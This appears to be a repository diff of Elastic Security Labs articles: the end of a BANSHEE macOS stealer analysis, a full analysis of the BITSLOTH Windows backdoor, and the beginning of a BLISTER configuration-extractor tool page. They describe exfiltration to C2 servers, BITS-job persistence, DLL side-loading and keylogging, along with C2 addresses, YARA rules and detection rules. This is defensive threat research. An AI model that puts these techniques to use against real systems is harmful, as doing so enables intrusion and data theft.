|
||||
* Wasabi Wallet
|
||||
* Atomic
|
||||
* Ledger
|
||||
|
||||
The collected wallets are stored under `<temporary_path>/Wallets`.
|
||||
|
||||
### Exfiltration
|
||||
|
||||
After the malware finishes collecting data, it first ZIP compresses the temporary folder using the `ditto` command. The zip file is then XOR encrypted and base64 encoded and sent through a post request to the URL: `http://45.142.122[.]92/send/` with the built-in cURL command.
|
||||
|
||||

|
||||
|
||||
## Behavior detection
|
||||
|
||||
* [Crypto Wallet File Access by Unsigned or Untrusted Binary](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_crypto_wallet_file_access_by_unsigned_or_untrusted_binary.toml)
|
||||
* [Web Browser Credential Data Accessed by Unsigned or Untrusted Process](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_web_browser_credential_data_accessed_by_unsigned_or_untrusted_process.toml)
|
||||
* [Osascript Payload Drop and Execute](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/command_and_control_osascript_payload_drop_and_execute.toml)
|
||||
* [Potential Credentials Phishing via Osascript](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/macos/credential_access_potential_credentials_phishing_via_osascript.toml)
|
||||
|
||||
## YARA rule
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify the BANSHEE malware:
|
||||
|
||||
```
|
||||
rule Macos_Infostealer_Banshee {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-08-13"
|
||||
last_modified = "2024-08-13"
|
||||
os = "MacOS"
|
||||
arch = "x86, arm64"
|
||||
category_type = "Infostealer"
|
||||
family = "Banshee"
|
||||
threat_name = "Macos.Infostealer.Banshee"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$str_0 = "No debugging, VM, or Russian language detected." ascii fullword
|
||||
$str_1 = "Remote IP: " ascii fullword
|
||||
$str_2 = "Russian language detected!" ascii fullword
|
||||
$str_3 = " is empty or does not exist, skipping." ascii fullword
|
||||
$str_4 = "Data posted successfully" ascii fullword
|
||||
$binary_0 = { 8B 55 BC 0F BE 08 31 D1 88 08 48 8B 45 D8 48 83 C0 01 48 89 45 D8 E9 }
|
||||
$binary_1 = { 48 83 EC 60 48 89 7D C8 48 89 F8 48 89 45 D0 48 89 7D F8 48 89 75 F0 48 89 55 E8 C6 45 E7 00 }
|
||||
condition:
|
||||
all of ($str_*) or all of ($binary_*)
|
||||
}
|
||||
```
|
||||
|
||||
## Conclusion
|
||||
|
||||
BANSHEE Stealer is macOS-based malware that can collect extensive data from the system, browsers, cryptocurrency wallets, and numerous browser extensions. Despite its potentially dangerous capabilities, the malware's lack of sophisticated obfuscation and the presence of debug information make it easier for analysts to dissect and understand. While BANSHEE Stealer is not overly complex in its design, its focus on macOS systems and the breadth of data it collects make it a significant threat that demands attention from the cybersecurity community.
|
||||
|
||||
## Observables
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/banshee) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
|------------------------------------------------------------------|-----------|-----------------|--------------------|
|
||||
| 11aa6eeca2547fcf807129787bec0d576de1a29b56945c5a8fb16ed8bf68f782 | SHA-256 | BANSHEE stealer | |
|
||||
| 45.142.122[.]92 | ipv4-addr | | BANSHEE stealer C2 |
|
|
@ -0,0 +1,433 @@
|
|||
---
|
||||
title: "BITS and Bytes: Analyzing BITSLOTH, a newly identified backdoor"
|
||||
slug: "bits-and-bytes-analyzing-bitsloth"
|
||||
date: "2024-08-01"
|
||||
description: "Elastic Security Labs identified a novel Windows backdoor leveraging the Background Intelligent Transfer Service (BITS) for C2. This malware was found during a recent activity group tracked as REF8747."
|
||||
author:
|
||||
- slug: seth-goodwin
|
||||
- slug: daniel-stepanic
|
||||
image: "Security Labs Images 29.jpg"
|
||||
category:
|
||||
- slug: malware-analysis
|
||||
---
|
||||
|
||||
## BITSLOTH at a glance
|
||||
|
||||
BITSLOTH is a newly discovered Windows backdoor that leverages the Background Intelligent Transfer Service (BITS) as its command-and-control mechanism. BITSLOTH was uncovered during an intrusion within the LATAM region earlier this summer. This malware hasn't been publicly documented to our knowledge and while it’s not clear who’s behind the malware, it has been in development for several years based on tracking distinct versions uploaded to VirusTotal.
|
||||
|
||||
The most current iteration of the backdoor at the time of this publication has 35 handler functions including keylogging and screen capture capabilities. In addition, BITSLOTH contains many different features for discovery, enumeration, and command-line execution. Based on these capabilities, we assess this tool is designed for gathering data from victims.
|
||||
|
||||
### Key takeaways
|
||||
|
||||
- BITSLOTH is a newly discovered Windows backdoor
|
||||
- BITSLOTH uses a built-in Microsoft feature, Background Intelligent Transfer Service (BITS) for command-and-control communication
|
||||
- BITSLOTH has numerous command handlers used for discovery/enumeration, execution, and collection purposes
|
||||
- The backdoor contains logging functions and strings consistent with the authors being native Chinese speakers
|
||||
|
||||
## Discovery
|
||||
|
||||
Our team observed BITSLOTH installed on a server environment on June 25th during REF8747, this was an intrusion into the Foreign Ministry of a South American government. The intrusion was traced back to PSEXEC execution on one of the infected endpoints. The attackers used a slew of publicly available tools for most of their operations with the exception of BITSLOTH.
|
||||
|
||||
- [RINGQ](https://github.com/T4y1oR/RingQ)
|
||||
- [IOX](https://github.com/EddieIvan01/iox)
|
||||
- [STOWAWAY](https://github.com/ph4ntonn/Stowaway)
|
||||
- [GODPOTATO](https://github.com/BeichenDream/GodPotato)
|
||||
- [NOPAC](https://github.com/Ridter/noPac)
|
||||
- [MIMIKATZ](https://github.com/gentilkiwi/mimikatz)
|
||||
- [PPLFAULT](https://github.com/gabriellandau/PPLFault)
|
||||
- [CERTIFY](https://github.com/GhostPack/Certify)
|
||||
|
||||
One of the primary mechanisms of execution was through a shellcode loading project called RINGQ. In a similar fashion to DONUTLOADER, RINGQ will convert any Windows executable and generate custom shellcode placing it into a file ( main.txt). This shellcode gets decrypted and executed in-memory. This technique is used bypass defenses that rely on hash blocklists or static signatures in some anti-malware products.
|
||||
|
||||

|
||||
|
||||
We observed RINGQ being used to load the IOX port forwarder. Note: The key in the image below is the hex conversion of “whoami”.
|
||||
|
||||

|
||||
|
||||
Additionally the attackers used the STOWAWAY utility to proxy encrypted traffic over HTTP to their C2 servers. Proxy tools, tunnelers, and redirectors are commonly used during intrusions to conceal the adversary responsible for an intrusion. These tools offer adversaries various features, including the ability to bypass internal network controls, provide terminal interfaces, encryption capabilities as well as file transfer options.
|
||||
|
||||

|
||||
|
||||
After initial access, the actor moved laterally and dropped BITSLOTH in the form of a DLL (```flengine.dll```) inside the ProgramData directory. The actor then executed the music-making program FL Studio (```fl.exe```). Based on the observed call stack associated with the self-injection alert, we confirmed the threat actor used a traditional side-loading technique using a signed version of [FL Studio](https://www.virustotal.com/gui/file/75747c8b5b3676abde25a8dd66280908c0d0fc57ef054b88a41673619d3bee28/details).
|
||||
|
||||
```
|
||||
c:\windows\syswow64\ntdll.dll!0x770841AC
|
||||
c:\windows\syswow64\ntdll.dll!0x7709D287
|
||||
c:\windows\syswow64\kernelbase.dll!0x76ED435F
|
||||
c:\windows\syswow64\kernelbase.dll!0x76ED42EF
|
||||
Unbacked!0x14EAB23
|
||||
Unbacked!0x14EA8B6
|
||||
c:\programdata\pl studio\flengine.dll!0x74AD2F2E
|
||||
c:\programdata\pl studio\fl.exe!0xDB3985
|
||||
c:\programdata\pl studio\fl.exe!0xDB3E5E
|
||||
c:\programdata\pl studio\fl.exe!0xDB4D3F
|
||||
c:\windows\syswow64\kernel32.dll!0x76B267F9
|
||||
c:\windows\syswow64\ntdll.dll!0x77077F4D
|
||||
c:\windows\syswow64\ntdll.dll!0x77077F1B
|
||||
```
|
||||
|
||||
This call stack was generated along with a process injection alert, and enabled researchers to extract an in-memory DLL that was set with Read/Write/Execute(RWX) page protections.
|
||||
|
||||
#### BITSLOTH overview
|
||||
|
||||
During our analysis, we found several older BITSLOTH samples demonstrating a record of development since December 2021. Within this project, the malware developer chose notable terminology– referring to BITSLOTH as the ```Slaver``` component and the command and control server as the ```Master``` component. Below is an example of one of the PDB file paths linked to BITSLOTH that depicts this:
|
||||
|
||||

|
||||
|
||||
BITSLOTH employs no obfuscation around control flow or any kind of string encryption.
|
||||
|
||||

|
||||
|
||||
Both older and recent samples contain strings used for logging and debugging purposes. As an example at startup, there is a string referenced in the read-only section (```.rdata```).
|
||||
|
||||

|
||||
|
||||
This Simplified Chinese wide-character string translates to:
|
||||
```Note: There is already a program running, do not run it again…```
|
||||
|
||||

|
||||
|
||||
These small snippets contained within BITSLOTH help shed light on the development and prioritization of features, along with what appear to be operator instructions. In the latest version, a new scheduling component was added by the developer to control specific times when BITSLOTH should operate in a victim environment. This is a feature we have observed in other modern malware families such as [EAGERBEE](https://www.elastic.co/security-labs/introducing-the-ref5961-intrusion-set).
|
||||
|
||||

|
||||
|
||||
## BITSLOTH code analysis
|
||||
|
||||
BITSLOTH is a backdoor with many different capabilities including:
|
||||
|
||||
- Running and executing commands
|
||||
- Uploading and downloading files
|
||||
- Performing enumeration and discovery
|
||||
- Collecting sensitive data through keylogging and screen capturing
|
||||
|
||||
### Mutex
|
||||
|
||||
BITSLOTH uses a hard-coded mutex (```Global\d5ffff77ff77adad657658```) within each sample to ensure only one instance is running at a time.
|
||||
|
||||

|
||||
|
||||
### Communication
|
||||
|
||||
BITSLOTH adopts a traditional client/server architecture, the developer refers to the client as the ```Slaver``` component and the command and control server (C2) as the ```Master``` component. The developer embeds the IP/port of the C2 server in each sample with a front-loaded string (```rrrr_url```). This string acts as a key to identify the C2 configuration in itself while running in memory, this is used when updating the C2 server.
|
||||
|
||||
Below are the configurations in several samples our team has observed, the threat actor configures both internal and external IP ranges.
|
||||
|
||||
```
|
||||
rrrr_url216.238.121[.]132:8443
|
||||
rrrr_url192.168.1[.]125:8443
|
||||
rrrr_url192.168.1[.]124:8443
|
||||
rrrr_url45.116.13[.]178:443
|
||||
```
|
||||
|
||||
One of the defining features of BITSLOTH is using the [Background Intelligent Transfer Service](https://learn.microsoft.com/en-us/windows/win32/bits/background-intelligent-transfer-service-portal) (BITS) for C2. While this feature has been designed to facilitate the network transfer of files between two machines, it’s been [abused](https://www.welivesecurity.com/2019/09/09/backdoor-stealth-falcon-group/) by multiple state-sponsored groups and continues to fly under the radar against organizations. This medium is appealing to adversaries because many organizations still struggle to monitor BITS network traffic and detect unusual BITS jobs.
|
||||
|
||||
> Windows has a system administration feature called Background Intelligent Transfer Service (BITS) enabling the download and upload of files to HTTP web servers or SMB shares. The BITS service employs multiple features during the file transfer process such as the ability to pause/resume transfers, handling network interruptions, etc. BITS traffic is usually associated with software updates therefore wrongfully implied as trusted. Many organizations lack visibility into BITS network traffic making this an appealing target.
|
||||
|
||||
The BITS API is exposed through Window’s [Component Object Model](https://learn.microsoft.com/en-us/windows/win32/com/component-object-model--com--portal) (COM) using the **IBackgroundCopyManager** [interface](https://learn.microsoft.com/en-us/windows/win32/api/bits/nn-bits-ibackgroundcopymanager). This interface provides capabilities to create new jobs, enumerate existing jobs in the transfer queue, and access a specific job from a transfer queue.
|
||||
|
||||

|
||||
|
||||
After initialization, BITSLOTH cancels any existing BITS jobs on the victim machine that match the following display names:
|
||||
|
||||
- ```WU Client Download```
|
||||
- ```WU Client Upload```
|
||||
- ```WU Client Upload R```
|
||||
|
||||
These names are used by the developer to blend in and associate the different BITS transfer jobs with their respective BITS [job type](https://learn.microsoft.com/en-us/windows/win32/api/bits/ne-bits-bg_job_type). By canceling any existing jobs, this allows the execution of the malware to operate from a clean state.
|
||||
|
||||

|
||||
|
||||
Below are the Microsoft definitions matching the type of BITS job:
|
||||
|
||||
- **BG_JOB_TYPE_DOWNLOAD** - Specifies that the job downloads files to the client.
|
||||
- **BG_JOB_TYPE_UPLOAD** - Specifies that the job uploads a file to the server.
|
||||
- **BG_JOB_TYPE_UPLOAD_REPLY** - Specifies that the job uploads a file to the server, and receives a reply file from the server application.
|
||||
|
||||
After canceling any existing jobs, the MAC address and operating system information are retrieved and placed into global variables. A new thread gets created, configuring the auto-start functionality. Within this thread, a new BITS download job is created with the name (```Microsoft Windows```).
|
||||
|
||||

|
||||
|
||||
This download job sets the destination URL to ```http://updater.microsoft[.]com/index.aspx```. While this domain is not routable, BITSLOTH masquerades this BITS job using a benign looking domain as a cover then uses **SetNotifyCmdLine** to execute the malware when the transfer state is changed.
|
||||
|
||||

|
||||
|
||||
Interestingly, this unique toolmark allowed us to pivot to additional samples showing this family has been in circulation for several years.
|
||||
|
||||

|
||||
|
||||
At this point, the malware has now been configured with persistence via a BITS job named ```Microsoft Windows```. Below is a screenshot of this job’s configuration showing the notification command line set to the BITSLOTH location (```C:\ProgramData\Media\setup_wm.exe```)
|
||||
|
||||

|
||||
|
||||
Once BITSLOTH becomes active, it will start requesting instructions from the C2 server using the ```WU Client Download``` job. This request URL is generated by combining the MAC address with a hard-coded string (```wu.htm```). Below is an example URL:
|
||||
|
||||
```
|
||||
https://192.168.182.130/00-0C-29-0E-29-87/wu.htm
|
||||
```
|
||||
|
||||
In response to this request, the malware will then receive a 12-byte structure from the C2 server containing a unique ID for the job, command ID for the handler, and a response token. Throughout these exchanges of file transfers, temporary files from the victim machine are used as placeholders to hold the data being transmitted back and forth, BITSLOTH uses a filename starting with characters (```wm```) appended by random characters.
|
||||
|
||||
|
||||

|
||||
|
||||
### Command functionality
|
||||
|
||||
BITSLOTH uses a command handler with 35 functions to process specific actions that should be taken on the victim machine. The malware has the option to be configured with HTTP or HTTPS and uses a hardcoded single byte XOR (```0x2```) to obfuscate the incoming instructions from the C2 server. The outbound requests containing the collected victim data have no additional protections by the malware itself and are sent in plaintext.
|
||||
|
||||
In order to move fast, our team leveraged a helpful Python [implementation](https://github.com/SafeBreach-Labs/SimpleBITSServer) of a BITS server released by [SafeBreach Labs](https://www.safebreach.com/). By setting the C2 IP to our loopback address inside a VM, this allowed us to get introspection on the network traffic.
|
||||
|
||||

|
||||
|
||||
The handlers all behave in a similar approach performing a primary function then writing the data returned from the handler to a local temporary file. These temporary files then get mapped to a BITS upload job called ```WU Client Upload```. Each handler uses its own string formatting to create a unique destination URL. Each filename at the end of the URL uses a single letter to represent the type of data collected from the host, such as ```P.bin``` for processes or ```S.bin``` for services.
|
||||
|
||||
```
|
||||
http://192.168.182.130/00-0C-29-0E-29-87/IF/P.bin
|
||||
```
|
||||
|
||||
Below is an example screenshot showing the process enumeration handler with the string formatting and how this data is then linked to the BITS upload job.
|
||||
|
||||

|
||||
|
||||
This link to the exfiltrated data can also be observed by viewing the BITS upload job directly. In the screenshots below, we can see the destination URL (C2 server) for the upload and the temporary file (```wm9F0C.tmp```) linked to the job.
|
||||
|
||||

|
||||
|
||||
If we look at the temporary file, we can see the collected process information from the victim host.
|
||||
|
||||

|
||||
|
||||
Soon after the upload job is created, the data is sent over the network through a BITS_POST request containing the captured data.
|
||||
|
||||

|
||||
|
||||
### Command handling table
|
||||
|
||||
| Command ID | Description |
|
||||
| ----- | ----- |
|
||||
| 0 | Collect running processes via **WTSEnumerateProcessesW** |
|
||||
| 1 | Get Windows services via **EnumServicesStatusW** |
|
||||
| 2 | Get system information via ```systeminfo``` command |
|
||||
| 3 | Retrieve all top-level Windows via **EnumWindows** |
|
||||
| 5 | Collect file listings |
|
||||
| 6 | Download file from C2 server |
|
||||
| 7 | Upload file to C2 server |
|
||||
| 10 | Terminate itself |
|
||||
| 11 | Set communication mode to HTTPS |
|
||||
| 12 | Set communication mode to HTTP |
|
||||
| 13 | Remove persistence |
|
||||
| 14 | Reconfigure persistence |
|
||||
| 15 | Cancel BITS download job (```WU Client Download```) |
|
||||
| 16 | Remove persistence and delete itself |
|
||||
| 17 | Thread configuration |
|
||||
| 18 | Duplicate of handler #2 |
|
||||
| 19 | Delete file based on file path |
|
||||
| 20 | Delete folder based on file path |
|
||||
| 21 | Starts terminal shell using stdin/stdout redirection |
|
||||
| 22 | Resets terminal handler (#21) |
|
||||
| 23 | Runs Windows tree command |
|
||||
| 24 | Updates BITSLOTH, delete old version |
|
||||
| 25 | Shutdown the machine via **ExitWindowsEx** |
|
||||
| 26 | Reboot the machine via **ExitWindowsEx** |
|
||||
| 27 | Log user off from the machine via **ExitWindowsEx** |
|
||||
| 28 | Terminate process based on process identifier (PID) |
|
||||
| 29 | Retrieves additional information via ```msinfo32``` command |
|
||||
| 30 | Execute individual file via **ShellExecuteW** |
|
||||
| 34 | Create new directory via **CreateDirectoryW** |
|
||||
| 41 | Upload data to C2 server |
|
||||
| 42 | Checks for capture driver via **capGetDriverDescriptionW** |
|
||||
| 43 | Take screenshots of victim machine desktop |
|
||||
| 44 | Record keystrokes from victim machine |
|
||||
| 45 | Stop recording screenshot images |
|
||||
| 46 | Stop keylogger functionality |
|
||||
|
||||
### Backdoor functionality
|
||||
|
||||
BITSLOTH includes a wide range of post-compromise capabilities for an adversary to operate within a victim environment. We will focus on the more significant capabilities by grouping them into different categories.
|
||||
|
||||
#### Discovery/enumeration
|
||||
|
||||
A portion of the BITSLOTH handlers are focused on retrieving and enumerating data from victim machines. This includes:
|
||||
|
||||
- Retrieving process information via **WTSEnumerateProcessesW**
|
||||
- Collecting Windows services via **EnumServicesStatusW**
|
||||
- Enumerating all top-level Windows via **EnumWindows** with a callback function
|
||||
- Retrieving system information via windows utilities such as ```systeminfo``` and ```msinfo32```
|
||||
|
||||

|
||||
|
||||
In many of the handlers, the locale version is configured to ```chs ```(Chinese - Simplified).
|
||||
|
||||

|
||||
|
||||
BITSLOTH has a couple custom enumeration functions tied to retrieving file listings and performing directory tree searches. The file listing handler takes a custom parameter from the operator to target specific folder locations of interest:
|
||||
|
||||
- **GET_DESKDOP** → **CSIDL_DESKTOPDIRECTORY** (Desktop)
|
||||
- **GET_BITBUCKET** -> **CSIDL_BITBUCKET** (Recycle Bin)
|
||||
- **GET_PERSONAl** -> **CSIDL_MYDOCUMENTS** (My Documents)
|
||||
|
||||

|
||||
|
||||
BITSLOTH also has the ability to collect entire directory/file listings on the machine for every file by using the Windows [tree](https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/tree) utility. This handler loops across the alphabet for each drive letter where the data is then saved locally in a temporary file named ```aghzyxklg```.
|
||||
|
||||

|
||||
|
||||
The tree data is then compressed and sent to the C2 server with a .ZIP extension. Below is an example of the collected data. This data can help pinpoint sensitive files or provide more context about the target environment.
|
||||
|
||||

|
||||
|
||||
#### Collection
|
||||
|
||||
In terms of collection, there are a few handlers used for actively gathering information. These are centered around capturing screenshots from the desktop and performing keylogging functionality.
|
||||
|
||||
BITSLOTH implements a lightweight function used to identify capture recording devices, this appears to be a technique to check for a camera using the Windows API (**capGetDriverDescriptionW**).
|
||||
|
||||

|
||||
|
||||
BITSLOTH has the ability to take screenshots based on parameters provided by the operator. Input to this function uses a separator (```||```) where the operator provides the number of seconds of the capture interval and the capture count. The images are stored as BMP files with a hard coded name ```ciakfjoab``` and compressed with the DEFLATE algorithm using a ```.ZIP``` archive. These timestamped zipped archives are then sent out to the C2 server.
|
||||
|
||||
The handler leverages common screenshot APIs such as **CreateCompatibleBitmap** and **BitBlt** from ```Gdi32.dll```.
|
||||
|
||||

|
||||
|
||||
For recording keystrokes, BITSLOTH uses traditional techniques by monitoring key presses using **GetAsyncKeyState**/**GetKeyState**. The handler has an argument for the number of seconds to perform the keylogging. This data is also compressed in a ```.ZIP``` file and sent outbound to the C2 server.
|
||||
|
||||

|
||||
|
||||
#### Execution / Maintenance
|
||||
|
||||
BITSLOTH has multiple capabilities around maintenace and file execution as well as standard backdoor functionalities such as:
|
||||
|
||||
- Capability to execute files stand-alone via **ShellExecuteW**
|
||||
- Windows terminal capability to execute commands and read data back via pipes
|
||||
- Create directories, perform reboots, shutdown the machine, terminate processes
|
||||
- Perform file upload and download between C2 server
|
||||
- Modify BITSLOTH configuration such as communication modes, update C2 URL, turn off keylogging/screenshot features
|
||||
|
||||

|
||||
|
||||
## BITSLOTH pivots
|
||||
|
||||
BITSLOTH appears to be actively deployed. We identified another BITSLOTH C2 server (```15.235.132[.]67```) using the same port (```8443```) with the same [SSL certificate](https://www.shodan.io/search?query=ssl.cert.serial%3A253c1c0bbf58e1f509fc4468de462ed8872f81d9) used from our intrusion.
|
||||
|
||||

|
||||
|
||||
While it’s not exactly clear who’s behind BITSLOTH, there was a large amount of activity of VirusTotal uploads occurring on December 12, 2021. With around 67 uploads over 24 hours from one submitter (```1fcc35ea```), we suspect someone linked to this project was validating detections, making modifications, and uploading different versions of BITSLOTH to VirusTotal. One sample was packed with VMProtect, others stripped of functionality, some uploads were debug builds, etc.
|
||||
|
||||

|
||||
|
||||
A lot of time has passed since then, but it is interesting seeing this family show up in a recent intrusion. Whatever the objective behind this malware, it's surprising that this family remained under the radar for so many years.
|
||||
|
||||

|
||||
|
||||
### REF 8747 through MITRE ATT&CK
|
||||
|
||||
Elastic uses the [MITRE ATT&CK](https://attack.mitre.org/) framework to document common tactics, techniques, and procedures that advanced persistent threats use against enterprise networks.
|
||||
|
||||
[h4] Tactics
|
||||
Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.
|
||||
|
||||
- [Collection](https://attack.mitre.org/tactics/TA0009/)
|
||||
- [Command and Control](https://attack.mitre.org/tactics/TA0011/)
|
||||
- [Discovery](https://attack.mitre.org/tactics/TA0007/)
|
||||
- [Execution](https://attack.mitre.org/tactics/TA0002/)
|
||||
- [Exfiltration](https://attack.mitre.org/tactics/TA0010/)
|
||||
- [Persistence](https://attack.mitre.org/tactics/TA0003/)
|
||||
|
||||
#### Techniques
|
||||
|
||||
Techniques represent how an adversary achieves a tactical goal by performing an action.
|
||||
|
||||
- [BITS Jobs](https://attack.mitre.org/techniques/T1197/)
|
||||
- [System Information Discovery](https://attack.mitre.org/techniques/T1082/)
|
||||
- [Hijack Execution Flow: DLL Side-Loading](https://attack.mitre.org/techniques/T1574/002/)
|
||||
- [Screen Capture](https://attack.mitre.org/techniques/T1113/)
|
||||
- [Input Capture: Keylogging](https://attack.mitre.org/techniques/T1056/001/)
|
||||
- [Proxy](https://attack.mitre.org/techniques/T1090/)
|
||||
|
||||
## Detecting REF8747
|
||||
|
||||
### Detection
|
||||
|
||||
The following detection rules and behavior prevention events were observed throughout the analysis of this intrusion set:
|
||||
|
||||
- [Persistence via BITS Job Notify Cmdline](https://github.com/elastic/endpoint-rules/blob/0f01f1a9e2ac08e9ead74cafd4d73cb8166f9fc8/rules/windows/persistence_execution_via_bits_setnotifycmdline_method.toml)
|
||||
- [LSASS Access Attempt via PPL Bypass](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_via_ppl_bypass.toml)
|
||||
- [LSASS Access Attempt from an Unsigned Executable](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_lsass_access_attempt_from_an_unsigned_executable.toml)
|
||||
- [Suspicious Parent-Child Relationship](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_suspicious_parent_child_relationship.toml)
|
||||
- [Credential Access via Known Utilities](https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/credential_access_credential_access_via_known_utilities.toml)
|
||||
- Shellcode Injection
|
||||
|
||||
#### YARA Signatures
|
||||
|
||||
- [Windows.Hacktool.Mimikatz](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Mimikatz.yar)
|
||||
- [Windows.Trojan.BITSloth](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Trojan_BITSloth.yar)
|
||||
- [Windows.Hacktool.Iox](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Iox.yar)
|
||||
- [Windows.Hacktool.Rubeus](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Rubeus.yar)
|
||||
- [Windows.Hacktool.Certify](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_Certify.yar)
|
||||
- [Windows.Hacktool.RingQ](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_RingQ.yar)
|
||||
- [Windows.Hacktool.GodPotato](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Windows_Hacktool_GodPotato.yar)
|
||||
- [Multi.Hacktool.Stowaway](https://github.com/elastic/protections-artifacts/blob/main/yara/rules/Multi_Hacktool_Stowaway.yar)
|
||||
|
||||
#### YARA
|
||||
|
||||
Elastic Security has created YARA rules to identify this activity. Below are YARA rules to identify BITSLOTH:
|
||||
|
||||
```
|
||||
rule Windows_Trojan_BITSLOTH_05fc3a0a {
|
||||
meta:
|
||||
author = "Elastic Security"
|
||||
creation_date = "2024-07-16"
|
||||
last_modified = "2024-07-18"
|
||||
os = "Windows"
|
||||
arch = "x86"
|
||||
threat_name = "Windows.Trojan.BITSLOTH"
|
||||
license = "Elastic License v2"
|
||||
|
||||
strings:
|
||||
$str_1 = "/%s/index.htm?RspID=%d" wide fullword
|
||||
$str_2 = "/%s/%08x.rpl" wide fullword
|
||||
$str_3 = "/%s/wu.htm" wide fullword
|
||||
$str_4 = "GET_DESKDOP" wide fullword
|
||||
$str_5 = "http://updater.microsoft.com/index.aspx" wide fullword
|
||||
$str_6 = "[U] update error..." wide fullword
|
||||
$str_7 = "RMC_KERNEL ..." wide fullword
|
||||
$seq_global_protocol_check = { 81 3D ?? ?? ?? ?? F9 03 00 00 B9 AC 0F 00 00 0F 46 C1 }
|
||||
$seq_exit_windows = { 59 85 C0 0F 84 ?? ?? ?? ?? E9 ?? ?? ?? ?? 6A 02 EB ?? 56 EB }
|
||||
condition:
|
||||
2 of them
|
||||
}
|
||||
```
|
||||
|
||||
## Observations
|
||||
|
||||
All observables are also available for [download](https://github.com/elastic/labs-releases/tree/main/indicators/bitsloth) in both ECS and STIX format in a combined zip bundle.
|
||||
|
||||
The following observables were discussed in this research.
|
||||
|
||||
| Observable | Type | Name | Reference |
|
||||
| ----- | ----- | ----- | ----- |
|
||||
| 4a4356faad620bf12ff53bcfac62e12eb67783bd22e66bf00a19a4c404bf45df | SHA-256 | ```s.dll``` | BITSLOTH |
|
||||
| dfb76bcf5a3e29225559ebbdae8bdd24f69262492eca2f99f7a9525628006d88 | SHA-256 | ```125.exe``` | BITSLOTH |
|
||||
| 4fb6dd11e723209d12b2d503a9fcf94d8fed6084aceca390ac0b7e7da1874f50 | SHA-256 | ```setup_wm.exe``` | BITSLOTH |
|
||||
| 0944b17a4330e1c97600f62717d6bae7e4a4260604043f2390a14c8d76ef1507 | SHA-256 | ```1242.exe``` | BITSLOTH |
|
||||
| 0f9c0d9b77678d7360e492e00a7fa00af9b78331dc926b0747b07299b4e64afd | SHA-256 | ```setup_wm.exe``` | BITSLOTH (VMProtect) |
|
||||
| 216.238.121[.]132 | ipv4-addr | BITSLOTH C2 server |
|
||||
| 45.116.13[.]178 | ipv4-addr | BITSLOTH C2 server |
|
||||
| 15.235.132[.]67 | ipv4-addr | BITSLOTH C2 server |
|
||||
| http ://updater.microsoft.com/index.aspx | | | BITSLOTH file indicator |
|
||||
| updater.microsoft.com | | | BITSLOTH file indicator |
|
||||
|
||||
## References
|
||||
The following were referenced throughout the above research:
|
||||
|
||||
- [https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master](https://github.com/SafeBreach-Labs/SimpleBITSServer/tree/master)
|
||||
- [https://github.com/T4y1oR/RingQ](https://github.com/T4y1oR/RingQ)
|
||||
- [https://github.com/EddieIvan01/iox](https://github.com/EddieIvan01/iox)
|
||||
- [https://github.com/ph4ntonn/Stowaway/](https://github.com/ph4ntonn/Stowaway/)
|
||||
|
||||
## About Elastic Security Labs
|
||||
|
||||
Elastic Security Labs is the threat intelligence branch of Elastic Security dedicated to creating positive change in the threat landscape. Elastic Security Labs provides publicly available research on emerging threats with an analysis of strategic, operational, and tactical adversary objectives, then integrates that research with the built-in detection and response capabilities of Elastic Security.
|
||||
|
||||
Follow Elastic Security Labs on Twitter [@elasticseclabs](https://twitter.com/elasticseclabs?ref_src=twsrc%5Egoogle%7Ctwcamp%5Eserp%7Ctwgr%5Eauthor) and check out our research at [www.elastic.co/security-labs/](https://www.elastic.co/security-labs/).
|
|
@ -0,0 +1,65 @@
|
|||
---
|
||||
title: "BLISTER Configuration Extractor"
|
||||
slug: "blister-configuration-extractor"
|
||||
date: "2022-12-06"
|
||||
description: "Python script to extract the configuration and payload from BLISTER samples."
|
||||
author:
|
||||
- slug: elastic-security-labs
|
||||
image: "tools-image.jpg"
|
||||
category:
|
||||
- slug: tools
|
||||
tags:
|
||||
- blister
|
||||
- ref7890
|
||||
---
|
||||
|
||||
Python script to extract the configuration and payload from BLISTER samples.
|
||||
|
||||
[Download blister-config-extractor.tar.gz](https://assets.contentstack.io/v3/assets/bltefdd0b53724fa2ce/blt9bce8a0e1a513bd5/62882db13b9b8554904a4baa/blister-config-extractor.tar.gz)
|
||||
|
||||
## Getting Started
|
||||
|
||||
This tool provides a Python module and command line tool that will extract configurations from the BLISTER malware loader and dump the results to screen.
|
||||
|
||||
> For information on the BLISTER malware loader and campaign observations, check out our blog posts detailing this:
|
||||
>
|
||||
> - [BLISTER Campaign Analysis](https://www.elastic.co/security-labs/elastic-security-uncovers-blister-malware-campaign)
|
||||
> - [BLISTER Malware Analysis](https://www.elastic.co/security-labs/blister-loader)
|
||||
|
||||
### Docker
|
||||
|
||||
We can easily run the extractor with Docker, first we need to build the image:
|
||||
|
||||
```
|
||||
docker build . -t blister-config-extractor
|
||||
```
|
||||
|
||||
Then we run the container with the **-v** flag to map a host directory to the docker container directory:
|
||||
|
||||
```
|
||||
docker run -ti --rm -v \
|
||||
